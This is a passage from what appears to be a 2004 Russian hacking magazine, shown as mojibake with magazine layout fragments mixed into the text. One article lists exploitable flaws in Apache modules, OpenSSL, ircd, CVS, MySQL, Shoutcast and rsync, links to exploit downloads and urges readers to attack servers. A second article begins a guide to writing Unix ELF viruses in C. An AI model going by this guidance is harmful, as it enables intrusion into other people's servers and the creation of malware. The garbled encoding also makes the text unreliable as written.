ãî ïîïóëÿðíîãî - mod_php. Áàã äî-
âîëüíî ñòàðûé, íî ãðåõ î íåì íå
âñïîìíèòü. Ê òîìó æå, áàæíûå âåðñèè
ìîäóëåé ìîæíî âñòðåòèòü â ñåòè äî
ñèõ ïîð. Èòàê, îøèáêà â êîìïîíåíòå
çàêëþ÷àåòñÿ â îáðàáîòêå âíåøíèõ ïà-
ðàìåòðîâ. Åñëè õàêåð ïåðåñûëàë õèò-
ðûé çàïðîñ ëþáîìó ñêðèïòó, ìîäóëü
ìîã îòêðûòü shell ñ êîìàíäíûì èíòåðï-
ðåòàòîðîì. Òàê è ïðîèñõîäèëî, ïðàâ-
äà, ïåðåä ýòèì ýêñïëîèò äîëãî ïåðåáè-
ðàë çàïðîñû. Åùå îäèí áàã çàòàèëñÿ â

ïðîòîêîëå OpenSSL. Õàêåðû áûñòðî
ðåàëèçîâàëè ýêñïëîèò äëÿ mod_ssl,
êîòîðûé ïîçâîëÿë áðàòü ïðàâà WWW-
ñåðâåðà. Ïîñëå äëèòåëüíîãî àæèîòà-
æà ìíîãèå àäìèíû îáíîâèëè áèáëèî-
òåêè SSL, â ðåçóëüòàòå ÷åãî óÿçâè-
ìîñòü ïîòåðÿëà ñâîþ îñòðîòó. Ðàðè-
òåòíûé ýêñïëîèò íàçûâàåòñÿ
OpenFuck, âòîðóþ åãî âåðñèþ òû ìî-
æåøü ñêà÷àòü ïî àäðåñó packetstormse-
curity.org/0304-exploits/OpenFuckV2.c.

Õî÷åøü áàã ïîñâåæåå? Äåðæè!
Áðåøü àêòóàëüíà äëÿ ñâÿçêè Apache
2.x ñ mod_perl. Ìîäóëü, ïîçâîëÿþùèé
äîáèòüñÿ àêñåëåðàöèè ïðè çàïóñêå
CGI-ñöåíàðèåâ, ñîäåðæèò óòå÷êó âàæ-
íûõ ôàéëîâûõ äåñêðèïòîðîâ. Ñåé÷àñ
ÿ íàãëÿäíî îáúÿñíþ, ê ÷åìó ýòî ìîæåò
ïðèâåñòè. Äëÿ ýêñïëóàòèðîâàíèÿ
æåðòâû õàêåðó ïðèäåòñÿ äîáèòüñÿ ëî-
êàëüíûõ ïðèâèëåãèé. Ýòî íóæíî äëÿ
òîãî, ÷òîáû èìåòü äîñòóï ê WWW-êàòà-
ëîãó è çàëèâêå ñêðèïòà (äóìàþ, ïî-
äîéäóò ïðàâà nobody â web-shell�å).
Âçëîìùèê ïèøåò ñöåíàðèé, êîòîðûé
ðîæäàåò ïîäïðîöåññ, à çàòåì îñòàíàâ-
ëèâàåò httpd. Çàòåì ïîòîìîê ñòàíîâèò-
ñÿ äåìîíîì, èìèòèðóþùèì ðàáîòó
Web-ñåðâåðà. Íà âñå çàïðîñû êëèåíòîâ
îí îòâå÷àåò, ÷òî àäìèíà ïîèìåëè :). Ïî-
äîáíîå îïèñàíèå âñåõ øàãîâ õàêåðà
ìîæíî íàéòè íà ñòðàíèöå www.security-
lab.ru/42355.html. 

Äàâàé òåïåðü ïîãîâîðèì î äðóãèõ
áèáëèîòåêàõ. Íå òàê äàâíî ñòàë óÿç-
âèì êîìïîíåíò mod_gzip
(www.security.nnov.ru/files/85mod_gzip.c), êîòî-
ðûé ñëóæèò äëÿ ñæàòèÿ êîíòåíòà ïå-
ðåä ïåðåäà÷åé. Óÿçâèìîñòü áûëà îá-
íàðóæåíà â êîíöå ëåòà ïðîøëîãî ãî-
äà. ×åðåç áàíàëüíîå ïåðåïîëíåíèå
áóôåðà çëîóìûøëåííèê ìîæåò ïî-
ðîæäàòü ïðîöåññû ïîä ïðàâàìè
nobody. Äëÿ ýòîãî õàêåðó òðåáîâà-
ëîñü ïîñëàòü îïðåäåëåííûå äàííûå,
âêëþ÷àþùèå ïàðàìåòð Accept-

Encoding. Íåâàæíî, íà
êàêîé ñèñòåìå êðóòèò-
ñÿ Apache - áàã òàèò-
ñÿ êàê â FreeBSD, òàê
è â RedHat, Mandrake,
SuSE. Âñå ïîòîìó, ÷òî
ýêñïëîèò ñíàáæåí
áðóòôîðñîì, êîòîðûé
êàæäûé ðàç ïåðåáè-
ðàåò àäðåñ âîçâðàòà.
Â ñëó÷àå åãî óñïåø-
íîãî îïðåäåëåíèÿ
çëîóìûøëåííèê ïî-
ëó÷èò èíòåðàêòèâíûé
shell. Ïðè ýòîì âåðñèÿ
ìîäóëÿ íå äîëæíà
áûòü âûøå 1.3.26. Ïî-
ðàçèòåëüíî, íî äàæå
ñåé÷àñ áàã àêòóàëåí.
Çà ïðèìåðàìè äàëåêî
õîäèòü íå íàäî, ïðîñ-
òî âçãëÿíè íà ñêðèí-
øîò.

Áûâàåò, ÷òî è â ñà-
ìîì Apache âñòðå÷à-
þòñÿ áàãè. Äàæå ïðè
îòñóòñòâèè äîïîëíè-
òåëüíûõ áèáëèîòåê.

Ýòî ïîêàçàëà êðèòè÷åñêàÿ óÿçâèìîñòü
â OpenBSD/NetBSD, ïîçâîëÿþùàÿ
áðàòü shell ÷åðåç äûðÿâûé httpd
(www.security.nnov.ru/files/apache-nosejob.c).
Ïðàâäà, ñåé÷àñ íàéòè óÿçâèìûé ñåð-
âåð ïðàêòè÷åñêè íåâîçìîæíî.

ÄÐÓÃÈÅ ÑËÓÆÁÛ
ß ïåðå÷èñëèë îñíîâíûå ñëóæáû,

áîëüøèíñòâî èç êîòîðûõ óñòàíîâëå-
íû ïðàêòè÷åñêè íà êàæäîì ñåðâåðå.
Îäíàêî ñóùåñòâóþò è äðóãèå óÿçâè-
ìûå ñåðâèñû, ïóñòü è íå òàêèå âàæ-
íûå. Òåáå ïðèäåòñÿ èõ ïîèñêàòü â ðàç-
ëè÷íûõ ñåòÿõ, à ïîñëå ýòîãî íåùàäíî
âçëîìàòü :).

1. IRC. Äåìîíû ircd ðàñïîëîæåíû
íà ìíîãèõ ìàøèíàõ, à èõ ñòîéêîñòü ê
àòàêàì îñòàâëÿåò æåëàòü ëó÷øåãî.
Íàïðèìåð, íåäàâíî áûë îáíàðóæåí
áàã â ïîïóëÿðíîì hybrid-ircd, êîòî-
ðûé ïîçâîëÿåò óäàëåííî óáèòü ñåð-
âèñ. Ýêñïëîèò ïóáëè÷íûé
(addict3d.org/index.php?page=viewarticle&type=
security&ID=1416), íî ïåðåä òåì êàê åãî
ñêîìïèëèðîâàòü, òåáå ïðèäåòñÿ èñï-
ðàâèòü îøèáêè â èñõîäíîì êîäå. Ýòà-
êàÿ çàùèòà îò ñêðèïòêèäèñîâ. Ðàñ-
ñêàçûâàòü î òîì, êàê ïðàâèòü èñõîä-
íèê, ÿ íå áóäó � äîäóìàåøüñÿ ñàì.
Ïîäñêàæó ëèøü, ÷òî òåáå ïðèäåòñÿ
ïåðåíåñòè îáúÿâëåíèÿ ïåðåìåííûõ
èç ñåðåäèíû ïðîöåäóðû â åå íà÷àëî.
Ïîñëå òîãî êàê òû ñêîìïèëèøü
ýêñïëîèò, íàòðàâè åãî íà êàêóþ-íè-
áóäü æåðòâó (ñåðâåð, ãäå óñòàíîâëåí
ãèáðèä) è æäè ðåçóëüòàòà. Äîëãî
æäàòü íå ïðèäåòñÿ: íåïðîïàò÷åííûé
äåìîí áûñòðî óéäåò â core dump.
2. CVS. Òû íèêîãäà íå ìå÷òàë âçëî-

ìàòü ðàçðàáîò÷èêîâ ñîôòà? Ñëóæáà
CVS ñîçäàíà äëÿ ñèíõðîíèçàöèè èñ-
õîäíûõ êîäîâ, ïîýòîìó ÷àñòî ñòàâèòñÿ
íà ñåðâåðà ðàçðàáîò÷èêîâ êàêîãî-ëè-
áî ïðîåêòà. Õàêåðû íàøëè â äåìîíå
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×òîáû óç-
íàòü, êàêèå
ìîäóëè
ïîäêëþ÷åíû
ê Web-ñåð-
âåðó, îòï-
ðàâü ïðîñ-
òîé WWW-
çàïðîñ. Èí-
ôîðìàöèÿ î
áèáëèîòåêàõ
ñîäåðæèòñÿ
â ñòðîêå
«Server:».

Åñëè òû
ïðîáèë çà-
ùèòó êàêî-
ãî-íèáóäü
ìàðøðóòèçà-
òîðà, èùè
áàæíûå ñåð-
âèñû â ëî-
êàëüíîé ñå-
òè. Ïîâåðü,
òàì èõ î÷åíü
ìíîãî :).

Holygrail � ëó÷øåå äëÿ SunOS

SSL ïîä ïðèöåëîì

Áåäñòâèå îò êîìïðåññèè

Âçëîìàòü NetBSD � çàäà÷à íå èç ëåãêèõ

ÑÅÐÂÈÑÍÀß ÓÃÐÎÇÀ52 ÂÇËÎÌ



ñêëîííîñòü ê ïåðåïîëíåíèþ áóôåðà.
Ýòî ïîêàçàë íåñëîæíûé àíàëèç ñòðî-
êè, ïîñûëàåìîé ñåðâåðó. Áàãîèñêàòå-
ëè óñòàíîâèëè, ÷òî âûäåëåíèå ïàìÿòè
ïðîèñõîäèò íå ïîä âñþ ñòðîêó, à ñ íå-
êîòîðûì çàïàñîì. Òàêèì îáðàçîì, ãðà-
ìîòíî ñîñòàâëåííûé çàïðîñ ïîçâîëÿ-
åò ïîâòîðíî îáðàòèòüñÿ ê ôóíêöèè
äûðÿâîãî CVS. Ñ êàæäûì âûçîâîì
çëîóìûøëåííèê ìîæåò ïåðåçàïèñàòü
ïàìÿòü ïðîèçâîëüíûìè äàííûìè, à
çàòåì îáðàòèòüñÿ ê íèì. Äóìàþ, òû
ïîíèìàåøü, ÷òî ïðîèçîéäåò, åñëè òû
îáðàòèøüñÿ ê êîäó, îòêðûâàþùåìó
shell è çàïóñêàþùåìó /bin/bash. Èìåí-
íî ýòî è ðåàëèçîâàíî â ýêñïëîèòå.
Êñòàòè, îí ÿâëÿåòñÿ ïóáëè÷íûì è äàâ-
íî æäåò òåáÿ ïî àäðåñó www.xakep.ru/
post/22450/cvs_linux_freebsd_HEAP.txt.
3. mySQL. Áàçà äàííûõ âñåãäà áûëà

ëàêîìûì êóñî÷êîì äëÿ õàêåðîâ, âåäü
â íåé ìîæíî íàéòè öåííóþ èíôîðìà-
öèþ. Äî ïîñëåäíåãî âðåìåíè äëÿ äå-
ìîíà mysqld âîîáùå íå áûëî ýêñïëî-
èòîâ, íî õàêåðû òåðïåëèâî æäàëè. Íà-
êîíåö, áûë îáíàðóæåí èçúÿí â ñâå-
æèõ ðåëèçàõ ñåðâèñà. Åñëè õàêåð ïîø-
ëåò äåìîíó õèòðûé àâòîðèçàöèîííûé
ïàêåò, òî ôóíêöèÿ ñðàâíåíèÿ íåâåðíî
èçûìåò èç íåãî ïàðîëü. Ñîáñòâåííî,
ïàðîëü â ýòîì ñëó÷àå áóäåò ïðåäñòàâ-
ëÿòü ñîáîé ñòðîêó íóëåâîé äëèíû,

ñðàâíåíèå ñ êîòîðîé äàñò ïîëîæè-
òåëüíûé ðåçóëüòàò. Êàê ñëåäñòâèå, õà-
êåð ñìîæåò áîðîçäèòü ïðîñòîðû ÁÄ
áåç êàêîé-ëèáî àâòîðèçàöèè :). Êîìàí-
äà RuSH âûïóñòèëà ñêîìïèëèðîâàí-
íûé mySQL-êëèåíò, êîòîðûé ïîçâîëÿ-
åò ëîãèíèòüñÿ ê áàçå áåç çíàíèÿ ïàðî-
ëÿ. Òîëüêî âîò âåðñèÿ äåìîíà äîëæíà
áûòü 5.0 ëèáî íå ïðåâûøàòü 4.1.3.
Ñëèâàé mysql ïî àäðåñó
www.xakep.ru/post/23047/mysql_exploit.zip.
4. Shoutcast. ß äóìàþ, ÷òî ìíîãèå

èç ÷èòàòåëåé ñëóøàþò âíóòðèñåòå-
âîå ðàäèî â ñâîåé ëîêàëüíîé ñåòè.
Òû êîãäà-íèáóäü çàäóìûâàëñÿ, ÷òî
ñëóæáà Shoutcast, øëþùàÿ òåáå çâóê
ïî ñåòåâûì ïðîâîäàì, äàâíî ñòîèò íà
ó÷åòå ó õàêåðîâ? Åñëè íåò, òî ïðèø-
ëî âðåìÿ ïðîâåñòè íåáîëüøîé ëèê-
áåç :). Áàã òàèòñÿ â ïëîõîì àíàëèçå
ïåðåìåííûõ icy-name è icy-desc, êîòî-
ðûå îòâå÷àþò çà èìÿ è îïèñàíèÿ ïå-
ðåäàâàåìîãî ôàéëà. Íèêòî æå íå ìå-
øàåò òåáå âîòêíóòü, ñêàæåì, /bin/sh
âìåñòî íàçâàíèÿ. Ýêñïëîèò ìîæíî
íàéòè ïî ñëåäóþùåé ññûëêå
www1.xakep.ru/post/14351/exploit.txt. Òåñòè-
ðóé ýêñïëîèò â ñâîèõ ëîêàëüíûõ ñå-
òÿõ è íàâîäè çëîáîäðîì íà ðàçëè÷-
íûõ ñåðâåðàõ. 
5. Rsync. ×àñòåíüêî âìåñòî FTP àä-

ìèíû èñïîëüçóþò óòèëèòó rsync. Íå-
äàâíèå ðåëèçû rsync ñîäåðæàò êðèòè-
÷åñêèé áàã, êîòîðûé ïîçâîëèò òåáå ïî-
âûñèòü ëîêàëüíûå ïðèâèëåãèè. À âñå
èç-çà îòñóòñòâèÿ ïðîâåðêè â ôóíêöèè
strcpy(), êîòîðóþ ìîæíî îòûñêàòü â êî-
äå socket.c. Áàã àêòóàëåí òîëüêî äëÿ
Linux, ïîýòîìó åñëè òåáå ïîïàëàñü ìà-
øèíêà ñ íàâîðî÷åííûì ÿäðîì è ñòà-
ðûì rsync � âñå â òâîèõ ðóêàõ. Ñêà÷è-
âàé (www.xakep.ru/ post/21234/exploit.txt), êîì-
ïèëèðóé, çàïóñêàé è íàñëàæäàéñÿ ;).

404 NOT FOUND
×òî ÿ ñëûøó: òû íå íàøåë áàæíîãî

ñåðâèñà? Íåìåäëåííî
ïåðå÷èòûâàé ýòó
ñòàòüþ, à çàòåì íàöå-
ëèâàé nmap íà íåèç-
âåäàííóþ ñåòêó. È òå-
áå îáÿçàòåëüíî óëûá-
íåòñÿ óäà÷à! Íå çàáû-
âàé, ÷òî ìíîãèå àäìè-
íû ïîäìåíÿþò áàííåð
ñåðâèñà, ïûòàÿñü
ñêðûòü åãî âåðñèþ. Íî
òû âûâåäåøü åãî íà
÷èñòóþ âîäó! Òåñòèðóé
ýêñïëîèòû íà ÿêîáû
íåóÿçâèìûõ ñåðâèñàõ,
âîçìîæíî, ýòî ïðîñòàÿ
ïîääåëêà. È íèêîãäà
íå çàáûâàé îáðàùàòü-
ñÿ çà ïîìîùüþ ê ñàé-
òàì ïî óÿçâèìîñòè �
÷àñòî òàì ñîäåðæàòñÿ
äåëüíûå ñòàòüè ïî
âçëîìó. Ïðèìè ê ñâå-
äåíèþ, ÷òî óìíûé
âçëîìùèê íèêîãäà íå
îò÷àèâàåòñÿ, èáî çíà-
åò îñíîâíûå ñëàáîñòè
ñèñàäìîâ. E

Äåâåëîïåðû ïëà÷óò, à õàêåðû äîâîëüíû :)

Ðàäèî ïîä êîíòðîëåì õàêåðà

Ñèíõðîíèçàöèÿ ïðèâèëåãèé



Êðèñ Êàñïåðñêè aka ìûùúõ

Ò ðóäíî ïðåäñòàâèòü ñåáå áîëåå ïðîñòóþ øòóêó, ÷åì êîìïüþòåðíûé âèðóñ. Òåòðèñ è òîò ïîñëîæíåå áóäåò. Îäíàêî
ïðîãðàììèðîâàíèå âèðóñîâ âûçûâàåò ó íà÷èíàþùèõ áîëüøèå òðóäíîñòè: êàê âíåäðèòü ñâîé êîä â ôàéë, êàêèå ïîëÿ

íåîáõîäèìî èçìåíÿòü, à êàêèå ëó÷øå íå òðîãàòü, ÷åì îòëàæèâàòü âèðóñû è ìîæíî ëè èñïîëüçîâàòü ÿçûêè âûñîêîãî óðîâíÿ?
Îòâåòû íà ýòè è ìíîãèå äðóãèå âîïðîñû, ñâÿçàííûå ñ ñîçäàíèåì âèðåé ïîä *nix, ÿ ïîñòàðàëñÿ äàòü â ýòîì ìàòåðèàëå.

ÇÀÐÀÇÀ 
ÄËß ÍÈÊÑÎÂ
ÂÈÐÓÑÍÛÉ ÐÀÇÃÓË ÏÎÄ UNIX

ÎÏÅÐÀÒÈÂÍÀß
ÎÁÑÒÀÍÎÂÊÀ

Ïåðâûå âèðóñû,
ïîðàæàþùèå ELF-ôàé-
ëû (îñíîâíîé ôîðìàò

èñïîëíÿåìûõ ôàéëîâ ïîä *nix), áûëè
çàðåãèñòðèðîâàíû â êîíöå 90-õ, à òå-
ïåðü èõ ïîïóëÿöèÿ íàñ÷èòûâàåò ñâû-
øå ïîëóñîòíè ïðåäñòàâèòåëåé (ñì.
êîëëåêöèþ âèðóñîâ íà vx.netlux.org).
Àíòèâèðóñíàÿ Ýíöèêëîïåäèÿ Åâãå-
íèÿ Êàñïåðñêîãî (www.viruslist.com/virus-
list.html?id=3166) ñîîáùàåò ëèøü î ÷åòûð-
íàäöàòè èç íèõ, ÷òî íàâîäèò íà ñåðü-
åçíûå ðàçìûøëåíèÿ î êà÷åñòâå AVP
è äîáðîñîâåñòíîñòè åãî ñîçäàòåëåé.

Ïî óìîë÷àíèþ, UNIX çàïðåùàåò ìîäè-
ôèêàöèþ èñïîëíÿåìûõ ôàéëîâ, è óñ-
ïåøíîå ðàñïðîñòðàíåíèå âèðóñîâ âîç-
ìîæíî òîëüêî íà óðîâíå root, êîòîðûé
ëèáî ïðèñâàèâàåòñÿ çàðàæåííîìó ôàé-
ëó àäìèíèñòðàòîðîì, ëèáî ñàìîñòîÿ-
òåëüíî çàõâàòûâàåòñÿ âèðóñîì ÷åðåç
äûðû â ÿäðå ñèñòåìû. Ïðè ïðàâèëüíîé
ïîëèòèêå ðàçãðàíè÷åíèÿ äîñòóïà è
îïåðàòèâíîì íàëîæåíèè çàïëàòîê óã-
ðîçà âèðóñíîãî çàðàæåíèÿ ñâîäèòñÿ ê
ìèíèìóìó. Ê òîìó æå, âðåìåíà òîòàëü-
íîãî îáìåíà ñîôòîì äàâíî ïîçàäè.
Ñåé÷àñ óæå íèêòî íå êîïèðóåò èñïîë-
íÿåìûå ôàéëû äðóã ó äðóãà, ñêà÷èâàÿ
èõ íàïðÿìóþ èç èíòåðíåòà. Äàæå åñëè
âèðóñ óõèòðèòñÿ ïîðàçèòü öåíòðàëü-
íûé ñåðâåð, äàëüøå ïåðâîãî ïîêîëå-
íèÿ åãî ðàñïðîñòðàíåíèå íå ïîéäåò è
âòîðè÷íûå çàðàæåíèÿ áóäóò íîñèòü
åäèíè÷íûé õàðàêòåð.

Ôàéëîâûå âèðóñû óæå íåàêòóàëüíû,
è îòñóòñòâèå êðóïíûõ ýïèäåìèé íàã-
ëÿäíî ïîäòâåðæäàåò ýòîò ôàêò. Òåì
íå ìåíåå, íàêîïëåííûå ìåòîäèêè
âíåäðåíèÿ îòíþäü íå ñòàëè áåñïîëåç-
íûìè � áåç íèõ æèçíü òðîÿíîâ è ñèñ-
òåì óäàëåííîãî àäìèíèñòðèðîâàíèÿ
áûëà áû âåñüìà íåäîëãîé. Çàõâàòèòü
óïðàâëåíèå àòàêóåìûì êîìïüþòåðîì
è çàïîëó÷èòü ïðàâà root'à � âñå ðàâ-
íî ÷òî áðîñèòü çåðíûøêî íà ðàñêà-
ëåííûé àñôàëüò. Õàêåð äîëæåí óêî-
ðåíèòüñÿ â ñèñòåìå, öåïëÿÿñü çà âñå
èñïîëíÿåìûå ôàéëû, ÷òî âñòðåòÿòñÿ
åìó íà ïóòè. Íî è òîãäà îí íå ìîæåò
áûòü íè â ÷åì óâåðåí, ïîñêîëüêó ñó-
ùåñòâóåò òàêîå ïîíÿòèå, êàê ðåçåðâ-

íîå êîïèðîâàíèå, ïîçâîëÿþùåå âîñ-
ñòàíîâèòü ïîðàæåííóþ ñèñòåìó, êàê
áû ãëóáîêî âèðóñ íè áûë âíåäðåí.

Ñ÷èòàåòñÿ, ÷òî âèðóñû, âíåäðÿþùèå-
ñÿ â èñõîäíûå òåêñòû, áîëåå æèâó÷è,
îäíàêî â äåéñòâèòåëüíîñòè ýòî íå òàê.
Èñõîäíûå òåêñòû òðåáóþòñÿ íåáîëü-
øîìó ÷èñëó ïîëüçîâàòåëåé, à äåâåëî-
ïåðû àêòèâíî èñïîëüçóþò ñèñòåìû
êîíòðîëÿ âåðñèé, îòñëåæèâàþùèõ öå-
ëîñòíîñòü ïðîãðàììíîãî êîäà è ïîç-
âîëÿþùèõ äåëàòü ìíîãîóðîâíåâûé
"îòêàò". Áûëî çàðåãèñòðèðîâàíî íåñ-
êîëüêî ïîïûòîê çàðàæåíèÿ èñõîäíûõ
òåêñòîâ îïåðàöèîííîé ñèñòåìû LINUX
è ñåðâåðà Apache, íî âñå îíè ñ òðåñ-
êîì ïðîâàëèëèñü.

Òî æå ñàìîå îòíîñèòñÿ è ê âèðóñàì,
îáèòàþùèì â èíòåðïðåòèðóåìûõ
ñêðèïòàõ, òàêèõ, êàê sh, Perl, PHP. Â
*nix ñêðèïòû âåçäåñóùè è èõ ìîäèôè-
êàöèÿ ïî óìîë÷àíèþ ðàçðåøåíà, ÷òî
ñîçäàåò áëàãîïðèÿòíûå óñëîâèÿ äëÿ
ðàçìíîæåíèÿ âèðóñîâ. Åñëè áû ïîëü-
çîâàòåëè îáìåíèâàëèñü ñêðèïòàìè,
þíèêñîèäíûé ìèð ïîãðóçèëñÿ áû â
ýïîõó ðàííåé MS-DOS, êîãäà íîâûå
âèðóñû âûõîäèëè åäâà ëè íå êàæäûé
äåíü, à òàê âèðóñû îñòàþòñÿ âíóòðè
ïîðàæåííîãî êîìïüþòåðà, íå â ñèëàõ
âûðâàòüñÿ íàðóæó.

Ðàçóìååòñÿ, âèðóñ ìîæåò ðàñïðîñò-
ðàíÿòüñÿ è ÷åðåç èíòåðíåò, íî òîãäà
ýòî áóäåò óæå íå âèðóñ, à ÷åðâü. Íåêî-
òîðûå èññëåäîâàòåëè ñ÷èòàþò ÷åðâåé
ñàìîñòîÿòåëüíûìè îðãàíèçìàìè, íå-
êîòîðûå � ðàçíîâèäíîñòüþ âèðóñîâ,
íî, êàê áû òàì íè áûëî, ÷åðâè � òåìà
îòäåëüíîãî ðàçãîâîðà.

ßÇÛÊ ÐÀÇÐÀÁÎÒÊÈ
Íàñòîÿùèå õàêåðû ïðèçíàþò

òîëüêî îäèí, ìàêñèìóì, äâà ÿçûêà � C

è Àññåìáëåð, ïðè÷åì ïîñëåäíèé èç íèõ
ñòðåìèòåëüíî óòðà÷èâàåò ñâîè ïîçè-
öèè, óñòóïàÿ ìåñòî Áåéñèêó, Delphi è
ïðî÷åé äðÿíè, íà êîòîðîé ýëåãàíòíûé
âèðóñ íåâîçìîæíî ñîçäàòü â ïðèíöèïå.

À ÷òî íà ñ÷åò Ñè? Ñ ýñòåòè÷åñêîé
òî÷êè çðåíèÿ, ýòî � ÷óäîâèùíûé âû-
áîð, è âèðóñìýéêåðû ñòàðîé øêîëû
åãî íå ïðîùàþò (îäíàêî íàïèñàòü êîä
íà àññåìáëåðå, ñðàâíèìûé ñ òåì, ÷òî
âûäàþò ñîâðåìåííûå îïòèìèçèðóþ-
ùèå C-êîìïèëÿòîðû âðîäå Microsoft C
Compiler, - äåëî äëÿ íîâè÷êà íå òàêîå
óæ ïðîñòîå - ïðèì. AvaLANche'à). Ñ
äðóãîé ñòîðîíû, áóäó÷è íèçêîóðîâíå-
âûì ñèñòåìíî-îðèåíòèðîâàííûì ÿçû-
êîì, Ñè íåïëîõî ïîõîäèò äëÿ ðàçðà-
áîòêè âèðóñîâ, õîòÿ îò çíàíèÿ Àññåìá-
ëåðà ýòî âñå ðàâíî íå îñâîáîæäàåò.

Êîä, ãåíåðèðóåìûé êîìïèëÿòîðîì,
äîëæåí: áûòü ïîëíîñòüþ ïåðåìåùàå-
ìûì (òî åñòü íåçàâèñèìûì îò áàçîâî-
ãî àäðåñà çàãðóçêè), íå ìîäèôèöèðî-
âàòü íèêàêèå ÿ÷åéêè ïàìÿòè, çà èñê-
ëþ÷åíèåì ñòåêîâîãî ïðîñòðàíñòâà, è
íå èñïîëüçîâàòü ñòàíäàðòíûå ìåõà-
íèçìû èìïîðòà ôóíêöèé, ëèáî ïîäê-
ëþ÷àÿ âñå íåîáõîäèìûå áèáëèîòåêè
ñàìîñòîÿòåëüíî, ëèáî îáðàùàÿñü â
native-API. Ýòèì òðåáîâàíèÿì óäîâëåò-
âîðÿåò ïîäàâëÿþùåå áîëüøèíñòâî
êîìïèëÿòîðîâ, îäíàêî îò ïðîãðàììèñ-
òà òîæå êîå-÷òî ïîòðåáóåòñÿ.

Íåëüçÿ îáúÿâëÿòü ãëàâíóþ ôóíê-
öèþ ïðîãðàììû êàê main: âñòðåòèâ òà-
êóþ, ëèíêåð âíåäðèò â ôàéë start-up
êîä, êîòîðûé âèðóñó íå íóæåí. Íåëüçÿ
èñïîëüçîâàòü ãëîáàëüíûå èëè ñòàòè-
÷åñêèå ïåðåìåííûå: êîìïèëÿòîð ïðè-
íóäèòåëüíî ðàçìåùàåò èõ â ñåãìåíòå
äàííûõ, íî ó âèðóñíîãî êîäà íå ìîæåò
áûòü ñåãìåíòà äàííûõ! Äàæå åñëè âè-
ðóñ çàõî÷åò âîñïîëüçîâàòüñÿ ñåãìåí-

»

Í
Å

Ï
Ð

È
Ñ

Ò
Ó

Ï
Í

Û
É

 
*

N
I
X

ÕÀÊÅÐÑÏÅÖ   10(47)    2004

Íåêîòîðûå
ïîëüçîâàòå-
ëè â æåëà-
íèè ïî÷óâ-
ñòâîâàòü ñå-
áÿ áîãîì ïî-
äîëãó ðàáî-
òàþò â ñèñ-
òåìå íà èç-
ïîä root'à.
Âèðóñû è
õàêåðû ëþ-
áÿò òàêèõ
ïîëüçîâàòå-
ëåé :).

Íåêîòîðûå
àäìèíèñòðà-
òîðû ïîëà-
ãàþò, ÷òî
ïîä *nix âè-
ðóñîâ íåò.
Âèðóñû æå
ïðèäåðæè-
âàþòñÿ èíî-
ãî ìíåíèÿ.

Ðàçãóë âèðóñîâ ïîä UNIX

ÇÀÐÀÇÀ ÄËß ÍÈÊÑÎÂ54 ÂÇËÎÌ



Îòêðûòîñòü
ELF-ôîðìà-
òà âêóïå ñ
äîñòóï-
íîñòüþ èñ-
õîäíûõ
òåêñòîâ
ñèñòåìíîãî
çàãðóç÷èêà
çíà÷èòåëü-
íî óïðîùà-
åò êîíñòðó-
èðîâàíèå
âèðóñîâ ïîä
*nix.

IE è IRC �
âîò îñíîâ-
íûå èñòî÷-
íèêè äëÿ
ïîïîëíåíèÿ
òâîåé êîë-
ëåêöèè âè-
ðóñîâ.

òîì ïîðàæåííîé ïðîãðàììû, îí áóäåò
äîëæåí, âî-ïåðâûõ, ñàìîñòîÿòåëüíî
îïðåäåëèòü àäðåñ åãî "õâîñòà", à, âî-
âòîðûõ, ðàñòÿíóòü ñåãìåíò äî íåîáõî-
äèìûõ ðàçìåðà. Âñå ýòî òðèâèàëüíî
ðåàëèçóåòñÿ íà Àññåìáëåðå, íî äëÿ
êîìïèëÿòîðà îêàçûâàåòñÿ ÷åðåñ÷óð
ñëîæíîé çàäà÷åé. Êðîìå òîãî, íóæíî
õðàíèòü âñå äàííûå òîëüêî â ëîêàëü-
íûõ ïåðåìåííûõ, çàäàâàÿ ñòðîêîâûå
êîíñòàíòû â ÷èñëîâîì âèäå. Åñëè íà-
ïèñàòü char x[] = "hello, world", êîâàð-
íûé êîìïèëÿòîð ñáðîñèò "hello, world"
â ñåãìåíò äàííûõ, à çàòåì äèíàìè÷åñ-
êè ñêîïèðóåò åãî â ëîêàëüíóþ ïåðå-
ìåííóþ x. Ìîæíî ñäåëàòü òàê: x[0]='h',
x[1]='e', x[2]='l'� èëè ïðåîáðàçîâàòü
char â int, îñóùåñòâëÿòü ïðèñâîåíèå
äâîéíûìè ñëîâàìè, íå çàáûâàÿ î òîì,
÷òî ìëàäøèé áàéò äîëæåí ðàñïîëà-
ãàòüñÿ ïî íàèìåíüøåìó àäðåñó, ÷òî
ðàçâîðà÷èâàåò ñòðîêó çàäîì íàïåðåä.

Íåëüçÿ èñïîëüçîâàòü íèêàêèå áèá-
ëèîòå÷íûå ôóíêöèè, åñëè òîëüêî íå
óâåðåí â òîì, ÷òî îíè ïîëíîñòüþ
óäîâëåòâîðÿþò âñåì âûøåïåðå÷èñ-
ëåííûì òðåáîâàíèÿì. Ñèñòåìíûå
ôóíêöèè îáû÷íî âûçûâàþòñÿ ÷åðåç

èíòåðôåéñ native-API, òàêæå èçâåñò-
íûé ïîä èìåíåì sys-call (â Linux-ïî-
äîáíûõ ñèñòåìàõ çà ýòî îòâå÷àåò ïðå-
ðûâàíèå INT 80h, äðóãèå ñèñòåìû
îáû÷íî èñïîëüçóþò äàëüíèé âûçîâ
ïî ñåëåêòîðó ñåìü, ñìåùåíèå íîëü).
Ïîñêîëüêó ñèñòåìíûå âûçîâû âàðüè-
ðóþòñÿ îò îäíîé ñèñòåìû ê äðóãîé, ýòî
îãðàíè÷èâàåò ñðåäó îáèòàíèÿ âèðóñà
è ïðè æåëàíèè îí ìîæåò ïðèáåãíóòü ê
âíåäðåíèþ â òàáëèöó èìïîðòà.

Îòêîìïèëèðîâàâ ïîëó÷åííûé ôàéë,
ìû ïîëó÷èì îáúåêòíèê è ðóãàòåëüñòâî
êîìïèëÿòîðà ïî ïîâîäó îòñóòñòâèÿ main.
Îñòàåòñÿ òîëüêî ñëèíêîâàòü åãî â äâî-
è÷íûé 32.64-ðàçðÿäíûé ôàéë. Åñòåñò-
âåííî, âíåäðÿòü åãî â æåðòâó ïðèäåòñÿ
âðó÷íóþ, òàê êàê ñèñòåìíûé çàãðóç÷èê
îòêàæåòñÿ îáðàáàòûâàòü òàêîé ôàéë.

ÑÐÅÄÑÒÂÀ ÀÍÀËÈÇÀ,
ÎÒËÀÄÊÈ È ÏËÀÃÈÀÒÀ

Êàêîé âèðóñìýéêåð óäåðæèòñÿ îò
ñîáëàçíà ïîïîëíèòü ñâîé çàïëå÷íûé
ðþêçàê çà ÷óæîé ñ÷åò, âûäèðàÿ èäåè
